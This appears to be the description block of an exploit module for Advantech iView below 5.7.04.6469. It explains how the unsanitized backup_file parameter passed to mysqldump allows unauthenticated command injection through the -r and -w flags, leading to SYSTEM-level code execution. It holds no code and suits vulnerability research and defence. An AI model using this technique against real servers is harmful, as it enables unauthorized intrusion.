          Versions of Advantech iView software below `5.7.04.6469` are
          vulnerable to an unauthenticated command injection vulnerability
          via the `NetworkServlet` endpoint.
          The database backup functionality passes a user-controlled parameter,
          `backup_file` to the `mysqldump` command. The sanitization functionality only
          tests for SQL injection attempts and directory traversal, so leveraging the
          `-r` and `-w` `mysqldump` flags permits exploitation.
          The command injection vulnerability is used to write a payload on the target
          and achieve remote code execution as NT AUTHORITY\SYSTEM.
